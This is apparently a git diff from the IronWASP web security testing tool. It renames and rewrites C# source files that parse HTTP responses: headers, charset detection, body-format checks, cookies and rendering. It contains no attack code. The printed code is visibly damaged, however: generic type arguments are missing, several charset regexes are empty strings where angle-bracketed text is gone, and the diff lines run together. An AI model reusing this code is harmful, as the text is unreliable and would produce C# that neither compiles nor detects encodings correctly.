Tools.GetCharsetFromContentType(this.ContentType); - if (Charset.Length > 0) - { - try - { - Encoding.GetEncoding(Charset); - return Charset; - } - catch - { - if (!ValidCharsetOnly) return Charset; - } - } - //http://www.w3.org/International/questions/qa-html-encoding-declarations - //HTML4 - // - //Match M = Regex.Match(BodyString, @")", RegexOptions.IgnoreCase); - Match M = Regex.Match(BodyString, @"", RegexOptions.IgnoreCase); - if (M.Groups.Count > 0) - { - if (M.Groups[1].Value.Length > 0) - { - try - { - Encoding.GetEncoding(M.Groups[1].Value); - return M.Groups[1].Value; - } - catch - { - if (!ValidCharsetOnly) return M.Groups[1].Value; - } - } - } - //HTML5 - // - M = Regex.Match(BodyString, @"", RegexOptions.IgnoreCase); - if (M.Groups.Count > 0) - { - if (M.Groups[1].Value.Length > 0) - { - try - { - Encoding.GetEncoding(M.Groups[1].Value); - return M.Groups[1].Value; - } - catch - { - if (!ValidCharsetOnly) return M.Groups[1].Value; - } - } - } - //XHTML 1 as XML - // - M = Regex.Match(BodyString, @"<\?xml\s+version.+encoding=\""*([A-Za-z0-9_\:\.\-]+).*\?>", RegexOptions.IgnoreCase); - if (M.Groups.Count > 0) - { - if (M.Groups[1].Value.Length > 0) - { - try - { - Encoding.GetEncoding(M.Groups[1].Value); - return M.Groups[1].Value; - } - catch - { - if (!ValidCharsetOnly) return M.Groups[1].Value; - } - } - } - } - catch - { - return ""; - } - return ""; - } - - public string GetHeadersAsString() - { - StringBuilder RB = new StringBuilder(); - RB.Append(this.HTTPVersion); - RB.Append(" "); - RB.Append(this.Code.ToString()); - RB.Append(" "); - RB.Append(this.Status); - RB.Append("\r\n"); - foreach (string Name in this.Headers.GetNames()) - { - foreach (string Value in this.Headers.GetAll(Name)) - { - RB.Append(Name); - RB.Append(": "); - RB.Append(Value); - RB.Append("\r\n"); - } - } - RB.Append("\r\n"); - return RB.ToString(); - } - public byte[] GetFullResponseAsByteArray() - { - byte[] HeaderArray = Encoding.GetEncoding("ISO-8859-1").GetBytes(this.GetHeadersAsString()); - return HTTPMessage.GetFullMessageAsByteArray(HeaderArray, this.BodyArray); - } - - void CheckBodyFormatAndHandleIt() - { - if (this.BodyFormatChecked) - { - return; - } - this.BodyFormatChecked = true; - - this.isJson = false; - this.isHtml = false; - this.isJavaScript = false; - this.isXml = false; - this.isCss = false; - - if (this.IsBinary) return; - - if (HTML.DoesHaveAngleBracketsAsBoundary(this.BodyString)) - { - if (HTML.DoesHaveHtmlDocType(this.BodyString) || HTML.DoesHaveHtmlTags(this.BodyString)) - { - if (this.ProcessHtml()) - { - this.isHtml = true; - } - } - if (!HTML.DoesHaveHtmlDocType(this.BodyString) && Tools.IsXml(this.BodyString)) - { - this.isXml = true; - return; - } - if (this.IsHtml || this.IsXml) return; - } - else - { - if (!Tools.IsBinary(this.BodyArray)) - { - if (Tools.IsJson(this.BodyString)) - { - this.isJson = true; - return; - } - if (Tools.IsJavaScript(this.BodyString)) - { - this.isJavaScript = true; - return; - } - if (Tools.IsCss(this.BodyString)) - { - this.isCss = true; - return; - } - if (this.ProcessHtml()) - { - this.isHtml = true; - return; - } - } - } - } - - public bool ProcessHtml() - { - try - { - this.Html.Load(this.BodyString); - } - catch { } - - if (this.Html == null) return false; - if (this.Html.Html == null) return false; - if (this.html.Html.DocumentNode == null) return false; - if (this.html.Html.DocumentNode.InnerHtml == null) return false; - if (this.html.Html.DocumentNode.InnerText == null) return false; - if (this.html.Html.DocumentNode.InnerText == this.html.Html.DocumentNode.InnerHtml) return false; - - return true; - } - - public override string ToString() - { - StringBuilder SB = new StringBuilder(); - SB.Append(this.GetHeadersAsString()); - SB.Append(this.BodyString); - return SB.ToString(); - } - - internal void CreateSetCookieListFromHeaders() - { - CreateSetCookieListFromParameters(this.Headers); - } - internal void CreateSetCookieListFromParameters(HeaderParameters Headers) - { - this.setCookies = new List(); - if (Headers.Has("Set-Cookie")) - { - foreach (string SCString in Headers.GetAll("Set-Cookie")) - { - SetCookie SC = new SetCookie(SCString); - this.SetCookies.Add(SC); - } - } - } - - public Response GetClone() - { - return GetClone(false); - } - - internal Response GetClone(bool CopyID) - { - Response ClonedResponse = new Response(this.ToString()); - if (CopyID) ClonedResponse.ID = this.ID; - ClonedResponse.TTL = this.TTL; - ClonedResponse.Source = this.Source; - return ClonedResponse; - } - - public void SaveBody(string FileName) - { - File.WriteAllBytes(FileName, this.bodyArray); - } - - public void Render() - { - Thread T = new Thread(DoRendering); - T.Start(); - } - - void DoRendering() - { - try - { - string ToRenderPath = Config.RootDir + "\\to_render"; - if (!File.Exists(ToRenderPath)) File.Create(ToRenderPath).Close(); - FileStream ToRender = File.Open(ToRenderPath, FileMode.Truncate, FileAccess.Write); - ToRender.Write(this.BodyArray, 0, this.BodyArray.Length); - ToRender.Close(); - Tools.RunWith(Config.RootDir + "\\RenderHtml.exe", ToRenderPath); - } - catch { } - } - - public static bool IsSame(Response A, Response B) - { - try - { - if (!A.GetHeadersAsString().Equals(B.GetHeadersAsString())) return false; - if (A.BodyLength != B.BodyLength) return false; - for (int i = 0; i < A.BodyLength; i++) - { - if (A.BodyArray[i] != B.BodyArray[i]) return false; - } - } - catch { return false; } - return true; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.IO; +using System.Collections.Generic; +using System.Text; +using System.Text.RegularExpressions; +using HtmlAgilityPack; +using System.Threading; +//using Fiddler; + +namespace IronWASP +{ + public class Response + { + //internal property + internal int ID=0; + internal string Host = "";//to be used inside IronProxy alone + + //only to be used when updating the log in DB & UI to aviod computation in the DB and UI threads + internal string StoredHeadersString = ""; + internal string StoredBinaryBodyString = ""; + + //used for checking binary status of response body + internal static List TextContentTypes = new List(); + + //Just a place holder to associate information with the Response object + internal Dictionary Flags = new Dictionary(); + + //private property + string bodyString = ""; + byte[] bodyArray = new byte[0]; + int code; + string status; + string httpVersion; + ResponseHeaderParameters headers;//must initialised in all constructors + HTML html = new HTML(); + string bodyEncoding = "ISO-8859-1"; + List setCookies = new List(); + string DefaultEncoding = "ISO-8859-1"; + bool isCharsetSet = false; + bool isSSlValid = true; + bool isHtml = false; + bool isJavaScript = false; + bool isJson = false; + bool isXml = false; + bool isCss = false; + + bool BodyFormatChecked = false; + + internal int TTL = 0; + internal string Source = "Shell"; + + //public getter/setter + public string BodyString + { + get + { + return bodyString; + } + set + { + this.SetBody(value); + } + } + + public string BinaryBodyString + { + get + { + return Convert.ToBase64String(this.BodyArray); + } + set + { + this.BodyArray = Convert.FromBase64String(value); + } + } + + public byte[] BodyArray + { + get + { + return bodyArray; + } + set + { + this.SetBody(value); + } + } + + public string ContentType + { + get + { + if (this.Headers.Has("Content-Type")) + { + return this.Headers.Get("Content-Type"); + } + else + { + return ""; + } + } + set + { + this.Headers.Set("Content-Type", value); + } + } + public string HttpVersion + { + get + { + return this.HTTPVersion; + } + } + + //public getter + public int BodyLength + { + get + { + if (this.bodyArray == null) + { + return 0; + } + else + { + return this.bodyArray.Length; + } + } + } + + public bool IsSSLValid + { + get + { + return this.isSSlValid; + } + } + + public bool IsSslValid + { + get + { + return this.isSSlValid; + } + } + + public bool IsCharsetSet + { + get + { + return this.isCharsetSet; + } + } + + public bool HasBody + { + get + { + if (this.bodyArray == null) return false; + if (this.bodyArray.Length > 0) + { + return true; + } + else + { + return false; + } + } + } + + public bool IsHtml + { + get + { + CheckBodyFormatAndHandleIt(); + return isHtml; + } + } + + public bool IsJavaScript + { + get + { + CheckBodyFormatAndHandleIt(); + return isJavaScript; + } + } + + public bool IsJson + { + get + { + CheckBodyFormatAndHandleIt(); + return isJson; + } + } + + public bool IsXml + { + get + { + CheckBodyFormatAndHandleIt(); + return isXml; + } + } + + public bool IsCss + { + get + { + CheckBodyFormatAndHandleIt(); + return isCss; + } + } + + public bool IsBinary + { + get + { + try + { + return Tools.IsBinary(this.BodyArray); + } + catch (Exception Exp) + { + IronException.Report("Error checking response body for binary content", Exp); + return false; + } + //if (TextContentTypes.Contains("$NONE") && !Headers.Has("Content-Type")) return false; + //foreach (string Type in TextContentTypes) + //{ + // if (ContentType.IndexOf(Type, StringComparison.OrdinalIgnoreCase) > -1) + // { + // return false; + // } + //} + //return true; + } + } + public int Code + { + get + { + return this.code; + } + } + public string Status + { + get + { + return this.status; + } + } + public string HTTPVersion + { + get + { + return this.httpVersion; + } + } + + public HTML Html + { + get + { + CheckBodyFormatAndHandleIt(); + return this.html; + } + } + + public string BodyEncoding + { + get + { + return this.bodyEncoding; + } + } + + public string ParsedBodyEncoding + { + get + { + return this.ParseOutEncoding(false); + } + } + + public List SetCookies + { + get + { + return this.setCookies; + } + } + public ResponseHeaderParameters Headers + { + get + { + return this.headers; + } + } + public int RoundTrip + { + get + { + return this.TTL; + } + } + + public bool IsRedirect + { + get + { + if (this.Code == 301 || this.Code == 302 || this.Code == 303 || this.Code == 307) + { + if (this.Headers.Has("Location")) + { + return true; + } + } + return false; + } + } + + internal Response(string ResponseString) + { + this.AbsorbResponseString(ResponseString); + } + + public Response(string ResponseHeaders, byte[] BodyArray) + { + this.AbsorbResponseString(ResponseHeaders + "bw=="); + this.SetBody(BodyArray); + } + + public Response(string ResponseHeaders, string BodyString) + { + this.AbsorbResponseString(ResponseHeaders + "bw=="); + this.SetBody(BodyString); + } + + internal Response(Fiddler.Session Sess) + { + this.headers = new ResponseHeaderParameters(this); + try + { + this.ID = Int32.Parse(Sess.oFlags["IronFlag-ID"]); + } + catch + { + this.ID = 0; + } + if (Sess.oFlags.ContainsKey("IronFlag-TTL")) + { + this.TTL = Int32.Parse(Sess.oFlags["IronFlag-TTL"]); + } + if (Sess.oFlags.ContainsKey("IronFlag-SslError")) + { + this.isSSlValid = false; + } + if (Sess.oFlags.ContainsKey("IronFlag-BuiltBy")) + { + this.Source = Sess.oFlags["IronFlag-BuiltBy"]; + } + this.httpVersion = Sess.oResponse.headers.HTTPVersion; + this.code = Sess.oResponse.headers.HTTPResponseCode; + try + { + if (Sess.oResponse.headers.HTTPResponseStatus.IndexOf(' ') > -1) + this.status = Sess.oResponse.headers.HTTPResponseStatus.Substring(Sess.oResponse.headers.HTTPResponseStatus.IndexOf(' ')).Trim(); + else + this.status = ""; + } + catch(Exception Exp) + { + Tools.Trace("Response.cs", "Invalid Fiddler Session Response Status - " + Sess.oResponse.headers.HTTPResponseStatus); + throw (Exp); + } + Fiddler.HTTPResponseHeaders ResHeaders = new Fiddler.HTTPResponseHeaders(); + foreach (Fiddler.HTTPHeaderItem HHI in Sess.oResponse.headers) + { + this.Headers.Add(HHI.Name, HHI.Value); + } + if (Sess.responseBodyBytes.Length > 0) + { + this.SetBody(Sess.responseBodyBytes); + } + } + + void AbsorbResponseString(string ResponseString) + { + this.headers = new ResponseHeaderParameters(this); + HTTPMessage Msg = new HTTPMessage(ResponseString); + string[] FirstHeaderParts = Msg.FirstHeader.Split(new char[] { ' ' }, 3); + if (FirstHeaderParts.Length < 3) + { + throw new Exception("Invalid Response Header"); + } + this.httpVersion = FirstHeaderParts[0]; + if (!(this.HTTPVersion.Equals("HTTP/1.1") || this.HTTPVersion.Equals("HTTP/1.0"))) + { + throw new Exception("Invalid Response Header"); + } + try + { + this.code = Convert.ToInt32(FirstHeaderParts[1]); + } + catch + { + throw new Exception("Invalid Response Header"); + } + this.status = FirstHeaderParts[2]; + this.headers = new ResponseHeaderParameters(this, Msg.Headers); + this.SetBody(Msg.BodyString); + } + + internal void SetBody(string BodyString) + { + this.BodyFormatChecked = false; + this.html = new HTML(); + if (BodyString == null) + { + this.SetEmptyBody(); + return; + } + else if(BodyString.Length == 0) + { + this.SetEmptyBody(); + return; + } + this.bodyString = BodyString; + this.bodyArray = Encoding.GetEncoding(this.GetEncoding()).GetBytes(this.bodyString); + this.Headers.Set("Content-Length", this.bodyArray.Length.ToString()); + //this.CheckBodyFormatAndHandleIt(); + } + + internal void SetBody(byte[] NewBodyArray) + { + this.BodyFormatChecked = false; + this.html = new HTML(); + if (NewBodyArray == null) + { + this.SetEmptyBody(); + return; + } + else if (NewBodyArray.Length == 0) + { + this.SetEmptyBody(); + return; + } + this.bodyArray = new byte[NewBodyArray.Length]; + NewBodyArray.CopyTo(this.bodyArray, 0); + this.bodyString = Encoding.GetEncoding(this.GetEncoding(NewBodyArray)).GetString(this.bodyArray); + this.Headers.Set("Content-Length", this.bodyArray.Length.ToString()); + //this.CheckBodyFormatAndHandleIt(); + } + + void SetEmptyBody() + { + this.bodyString = ""; + this.bodyArray = new byte[0]; + if (this.Headers.Has("Content-Length")) + { + this.Headers.Set("Content-Length", "0"); + } + } + + internal Response() + { + this.headers = new ResponseHeaderParameters(this); + } + + + string GetEncoding() + { + return this.GetEncoding(this.bodyString); + } + + string GetEncoding(byte[] BodyArray) + { + return this.GetEncoding(Encoding.GetEncoding("ISO-8859-1").GetString(BodyArray)); + } + + string GetEncoding(string BodyString) + { + + string ParsedEnc = ParseOutEncoding(BodyString); + if (ParsedEnc == "") + { + isCharsetSet = false; + this.bodyEncoding = DefaultEncoding; + ParsedEnc = DefaultEncoding; + } + else + { + isCharsetSet = true; + this.bodyEncoding = ParsedEnc; + } + return ParsedEnc; + } + + public string ParseOutEncoding() + { + return this.ParseOutEncoding(true); + } + + public string ParseOutEncoding(bool ValidCharsetOnly) + { + return this.ParseOutEncoding(this.BodyString, ValidCharsetOnly); + } + + string ParseOutEncoding(string BodyString) + { + return ParseOutEncoding(BodyString, true); + } + + string ParseOutEncoding(string BodyString, bool ValidCharsetOnly) + { + try + { + string Charset = Tools.GetCharsetFromContentType(this.ContentType); + if (Charset.Length > 0) + { + try + { + Encoding.GetEncoding(Charset); + return Charset; + } + catch + { + if (!ValidCharsetOnly) return Charset; + } + } + //http://www.w3.org/International/questions/qa-html-encoding-declarations + //HTML4 + // + //Match M = Regex.Match(BodyString, @")", RegexOptions.IgnoreCase); + Match M = Regex.Match(BodyString, @"", RegexOptions.IgnoreCase); + if (M.Groups.Count > 0) + { + if (M.Groups[1].Value.Length > 0) + { + try + { + Encoding.GetEncoding(M.Groups[1].Value); + return M.Groups[1].Value; + } + catch + { + if (!ValidCharsetOnly) return M.Groups[1].Value; + } + } + } + //HTML5 + // + M = Regex.Match(BodyString, @"", RegexOptions.IgnoreCase); + if (M.Groups.Count > 0) + { + if (M.Groups[1].Value.Length > 0) + { + try + { + Encoding.GetEncoding(M.Groups[1].Value); + return M.Groups[1].Value; + } + catch + { + if (!ValidCharsetOnly) return M.Groups[1].Value; + } + } + } + //XHTML 1 as XML + // + M = Regex.Match(BodyString, @"<\?xml\s+version.+encoding=\""*([A-Za-z0-9_\:\.\-]+).*\?>", RegexOptions.IgnoreCase); + if (M.Groups.Count > 0) + { + if (M.Groups[1].Value.Length > 0) + { + try + { + Encoding.GetEncoding(M.Groups[1].Value); + return M.Groups[1].Value; + } + catch + { + if (!ValidCharsetOnly) return M.Groups[1].Value; + } + } + } + } + catch + { + return ""; + } + return ""; + } + + public string GetHeadersAsString() + { + StringBuilder RB = new StringBuilder(); + RB.Append(this.HTTPVersion); + RB.Append(" "); + RB.Append(this.Code.ToString()); + RB.Append(" "); + RB.Append(this.Status); + RB.Append("\r\n"); + foreach (string Name in this.Headers.GetNames()) + { + foreach (string Value in this.Headers.GetAll(Name)) + { + RB.Append(Name); + RB.Append(": "); + RB.Append(Value); + RB.Append("\r\n"); + } + } + RB.Append("\r\n"); + return RB.ToString(); + } + public byte[] GetFullResponseAsByteArray() + { + byte[] HeaderArray = Encoding.GetEncoding("ISO-8859-1").GetBytes(this.GetHeadersAsString()); + return HTTPMessage.GetFullMessageAsByteArray(HeaderArray, this.BodyArray); + } + + void CheckBodyFormatAndHandleIt() + { + if (this.BodyFormatChecked) + { + return; + } + this.BodyFormatChecked = true; + + this.isJson = false; + this.isHtml = false; + this.isJavaScript = false; + this.isXml = false; + this.isCss = false; + + if (this.IsBinary) return; + + if (HTML.DoesHaveAngleBracketsAsStartingBoundary(this.BodyString)) + { + if (HTML.DoesHaveHtmlDocType(this.BodyString) || HTML.DoesHaveHtmlTags(this.BodyString)) + { + if (this.ProcessHtml()) + { + this.isHtml = true; + } + } + if (!HTML.DoesHaveHtmlDocType(this.BodyString) && Tools.IsXml(this.BodyString)) + { + this.isXml = true; + return; + } + if (this.IsHtml || this.IsXml) return; + } + else + { + if (!Tools.IsBinary(this.BodyArray)) + { + if (Tools.IsJson(this.BodyString)) + { + this.isJson = true; + return; + } + if (Tools.IsJavaScript(this.BodyString)) + { + this.isJavaScript = true; + return; + } + if (Tools.IsCss(this.BodyString)) + { + this.isCss = true; + return; + } + if (this.ProcessHtml()) + { + this.isHtml = true; + return; + } + } + } + } + + public bool ProcessHtml() + { + try + { + this.Html.Load(this.BodyString); + } + catch { } + + if (this.Html == null) return false; + if (this.Html.Html == null) return false; + if (this.html.Html.DocumentNode == null) return false; + if (this.html.Html.DocumentNode.InnerHtml == null) return false; + if (this.html.Html.DocumentNode.InnerText == null) return false; + if (this.html.Html.DocumentNode.InnerText == this.html.Html.DocumentNode.InnerHtml) return false; + + return true; + } + + public override string ToString() + { + StringBuilder SB = new StringBuilder(); + SB.Append(this.GetHeadersAsString()); + SB.Append(this.BodyString); + return SB.ToString(); + } + + public string ToBinaryString() + { + StringBuilder SB = new StringBuilder(); + SB.Append(Tools.Base64Encode(this.GetHeadersAsString())); + SB.Append(":"); + SB.Append(Tools.Base64EncodeByteArray(this.BodyArray)); + return SB.ToString(); + } + + public static Response FromBinaryString(string BinaryResponseString) + { + string[] ResponseParts = BinaryResponseString.Split(new char[] { ':' }, 2, StringSplitOptions.RemoveEmptyEntries); + if (ResponseParts.Length == 1) + { + return new Response(Tools.Base64Decode(ResponseParts[0])); + } + else if (ResponseParts.Length == 2) + { + return new Response(Tools.Base64Decode(ResponseParts[0]), Tools.Base64DecodeToByteArray(ResponseParts[1])); + } + else + { + throw new Exception("Invalid input string"); + } + } + + internal void CreateSetCookieListFromHeaders() + { + CreateSetCookieListFromParameters(this.Headers); + } + internal void CreateSetCookieListFromParameters(HeaderParameters Headers) + { + this.setCookies = new List(); + if (Headers.Has("Set-Cookie")) + { + foreach (string SCString in Headers.GetAll("Set-Cookie")) + { + SetCookie SC = new SetCookie(SCString); + this.SetCookies.Add(SC); + } + } + } + + public Response GetClone() + { + return GetClone(false); + } + + internal Response GetClone(bool CopyID) + { + Response ClonedResponse = new Response(this.ToString()); + if (CopyID) ClonedResponse.ID = this.ID; + ClonedResponse.TTL = this.TTL; + ClonedResponse.Source = this.Source; + return ClonedResponse; + } + + public void SaveBody(string FileName) + { + File.WriteAllBytes(FileName, this.bodyArray); + } + + public void Render() + { + Thread T = new Thread(DoRendering); + T.Start(); + } + + void DoRendering() + { + try + { + string ToRenderPath = Config.RootDir + "\\to_render"; + if (!File.Exists(ToRenderPath)) File.Create(ToRenderPath).Close(); + FileStream ToRender = File.Open(ToRenderPath, FileMode.Truncate, FileAccess.Write); + ToRender.Write(this.BodyArray, 0, this.BodyArray.Length); + ToRender.Close(); + Tools.RunWith(Config.RootDir + "\\RenderHtml.exe", ToRenderPath); + } + catch { } + } + + public static bool IsSame(Response A, Response B) + { + try + { + if (!A.GetHeadersAsString().Equals(B.GetHeadersAsString())) return false; + if (A.BodyLength != B.BodyLength) return false; + for (int i = 0; i < A.BodyLength; i++) + { + if (A.BodyArray[i] != B.BodyArray[i]) return false; + } + } + catch { return false; } + return true; + } + } +} diff --git a/IronWASP/ResponseHeaderParameters.cs b/Iron/ResponseHeaderParameters.cs similarity index 96% rename from IronWASP/ResponseHeaderParameters.cs rename to Iron/ResponseHeaderParameters.cs index 1d45d7d..2f80835 100644 --- a/IronWASP/ResponseHeaderParameters.cs +++ b/Iron/ResponseHeaderParameters.cs @@ -1,153 +1,153 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class ResponseHeaderParameters : HeaderParameters - { - Response Response; - internal ResponseHeaderParameters(Response Response) : base() - { - this.Response = Response; - } - internal ResponseHeaderParameters(Response Response, HeaderParameters ResponseHeaders) : base(ResponseHeaders) - { - this.Response = Response; - this.Response.CreateSetCookieListFromParameters(ResponseHeaders); - } - - public void RawSet(string Name, string Value) - { - Name = ProcessName(Name); - base.Set(Name, Value); - if (Name.Equals("Set-Cookie")) - { - this.ProcessUpdate(); - } - } - new public void Set(string Name, string Value) - { - this.RawSet(Encode(Name), Encode(Value)); - } - - public void RawSet(string Name, int Position, string Value) - { - Name = ProcessName(Name); - base.Set(Name, Position, Value); - if (Name.Equals("Set-Cookie")) - { - this.ProcessUpdate(); - } - } - new public void Set(string Name, int Position, string Value) - { - this.RawSet(Encode(Name), Position, Encode(Value)); - } - - public void RawSetAt(string Name, int Position, string Value) - { - this.RawSet(Name, Position, Value); - } - new public void SetAt(string Name, int Position, string Value) - { - this.Set(Name, Position, Value); - } - - public void RawSet(string Name, List Values) - { - Name = ProcessName(Name); - base.Set(Name, Values); - if (Name.Equals("Set-Cookie")) - { - this.ProcessUpdate(); - } - } - new public void Set(string Name, List Values) - { - List Vals = new List(); - foreach (string Value in Values) - { - Vals.Add(Encode(Value)); - } - this.RawSet(Encode(Name), Vals); - } - - public void RawAdd(string Name, string Value) - { - Name = ProcessName(Name); - base.Add(Name, Value); - if (Name.Equals("Set-Cookie")) - { - this.ProcessUpdate(); - } - } - new public void Add(string Name, string Value) - { - this.RawAdd(Encode(Name), Encode(Value)); - } - - public void RawRemove(string Name) - { - Name = ProcessName(Name); - base.Remove(Name); - if (Name.Equals("Set-Cookie")) - { - this.ProcessUpdate(); - } - } - new public void Remove(string Name) - { - this.RawRemove(Encode(Name)); - } - - new public void RemoveAll() - { - base.RemoveAll(); - this.ProcessUpdate(); - } - internal string GetAsString() - { - return base.GetStringFromHeaders(); - } - - void ProcessUpdate() - { - this.Response.CreateSetCookieListFromHeaders(); - } - - string ProcessName(string Name) - { - if (Name.Equals("Set-Cookie", StringComparison.OrdinalIgnoreCase)) Name = "Set-Cookie"; - return Name; - } - - new string SafeRaw(string Value) - { - return Tools.HeaderEncode(Value); - } - - new string Encode(string Value) - { - return Tools.HeaderEncode(Value); - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class ResponseHeaderParameters : HeaderParameters + { + Response Response; + internal ResponseHeaderParameters(Response Response) : base() + { + this.Response = Response; + } + internal ResponseHeaderParameters(Response Response, HeaderParameters ResponseHeaders) : base(ResponseHeaders) + { + this.Response = Response; + this.Response.CreateSetCookieListFromParameters(ResponseHeaders); + } + + public void RawSet(string Name, string Value) + { + Name = ProcessName(Name); + base.Set(Name, Value); + if (Name.Equals("Set-Cookie")) + { + this.ProcessUpdate(); + } + } + new public void Set(string Name, string Value) + { + this.RawSet(Encode(Name), Encode(Value)); + } + + public void RawSet(string Name, int Position, string Value) + { + Name = ProcessName(Name); + base.Set(Name, Position, Value); + if (Name.Equals("Set-Cookie")) + { + this.ProcessUpdate(); + } + } + new public void Set(string Name, int Position, string Value) + { + this.RawSet(Encode(Name), Position, Encode(Value)); + } + + public void RawSetAt(string Name, int Position, string Value) + { + this.RawSet(Name, Position, Value); + } + new public void SetAt(string Name, int Position, string Value) + { + this.Set(Name, Position, Value); + } + + public void RawSet(string Name, List Values) + { + Name = ProcessName(Name); + base.Set(Name, Values); + if (Name.Equals("Set-Cookie")) + { + this.ProcessUpdate(); + } + } + new public void Set(string Name, List Values) + { + List Vals = new List(); + foreach (string Value in Values) + { + Vals.Add(Encode(Value)); + } + this.RawSet(Encode(Name), Vals); + } + + public void RawAdd(string Name, string Value) + { + Name = ProcessName(Name); + base.Add(Name, Value); + if (Name.Equals("Set-Cookie")) + { + this.ProcessUpdate(); + } + } + new public void Add(string Name, string Value) + { + this.RawAdd(Encode(Name), Encode(Value)); + } + + public void RawRemove(string Name) + { + Name = ProcessName(Name); + base.Remove(Name); + if (Name.Equals("Set-Cookie")) + { + this.ProcessUpdate(); + } + } + new public void Remove(string Name) + { + this.RawRemove(Encode(Name)); + } + + new public void RemoveAll() + { + base.RemoveAll(); + this.ProcessUpdate(); + } + internal string GetAsString() + { + return base.GetStringFromHeaders(); + } + + void ProcessUpdate() + { + this.Response.CreateSetCookieListFromHeaders(); + } + + string ProcessName(string Name) + { + if (Name.Equals("Set-Cookie", StringComparison.OrdinalIgnoreCase)) Name = "Set-Cookie"; + return Name; + } + + new string SafeRaw(string Value) + { + return Tools.HeaderEncode(Value); + } + + new string Encode(string Value) + { + return Tools.HeaderEncode(Value); + } + } +} diff --git a/IronWASP/ResponseView.Designer.cs b/Iron/ResponseView.Designer.cs similarity index 90% rename from IronWASP/ResponseView.Designer.cs rename to Iron/ResponseView.Designer.cs index 968970a..fb6365b 100644 --- a/IronWASP/ResponseView.Designer.cs +++ b/Iron/ResponseView.Designer.cs @@ -1,587 +1,644 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class ResponseView - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Component Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ResponseView)); - this.StatusAndErrorTB = new System.Windows.Forms.TextBox(); - this.WaitProgressBar = new System.Windows.Forms.ProgressBar(); - this.BaseTabs = new System.Windows.Forms.TabControl(); - this.HeadersTab = new System.Windows.Forms.TabPage(); - this.HeadersTBP = new IronWASP.TextBoxPlus(); - this.BodyTab = new System.Windows.Forms.TabPage(); - this.BodyTBP = new IronWASP.TextBoxPlus(); - this.BodyParametersTab = new System.Windows.Forms.TabPage(); - this.BodyParametersTabSplit = new System.Windows.Forms.SplitContainer(); - this.FormatPluginsGrid = new System.Windows.Forms.DataGridView(); - this.FormatPluginSelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.FormatPluginNameColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScanBodyFormatPluginTypeTabs = new System.Windows.Forms.TabControl(); - this.BodyTypeFormatPluginInjectionArrayGridTab = new System.Windows.Forms.TabPage(); - this.BodyFormatPluginsParametersGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewTextBoxColumn3 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn4 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.Column1 = new System.Windows.Forms.DataGridViewImageColumn(); - this.BodyTypeFormatPluginXMLTab = new System.Windows.Forms.TabPage(); - this.FormatXmlBaseSplit = new System.Windows.Forms.SplitContainer(); - this.textBox2 = new System.Windows.Forms.TextBox(); - this.ConvertXmlToObjectBtn = new System.Windows.Forms.Button(); - this.FormatXmlTBP = new IronWASP.TextBoxPlus(); - this.ReflectionsTab = new System.Windows.Forms.TabPage(); - this.ReflectionRTB = new System.Windows.Forms.RichTextBox(); - this.HelpTab = new System.Windows.Forms.TabPage(); - this.HelpTB = new System.Windows.Forms.TextBox(); - this.EditingTab = new System.Windows.Forms.TabPage(); - this.SaveEditsLbl = new System.Windows.Forms.LinkLabel(); - this.EditTBP = new IronWASP.TextBoxPlus(); - this.RenderLbl = new System.Windows.Forms.LinkLabel(); - this.RoundTripLbl = new System.Windows.Forms.Label(); - this.ScreenshotBtn = new System.Windows.Forms.Button(); - this.BaseTabs.SuspendLayout(); - this.HeadersTab.SuspendLayout(); - this.BodyTab.SuspendLayout(); - this.BodyParametersTab.SuspendLayout(); - this.BodyParametersTabSplit.Panel1.SuspendLayout(); - this.BodyParametersTabSplit.Panel2.SuspendLayout(); - 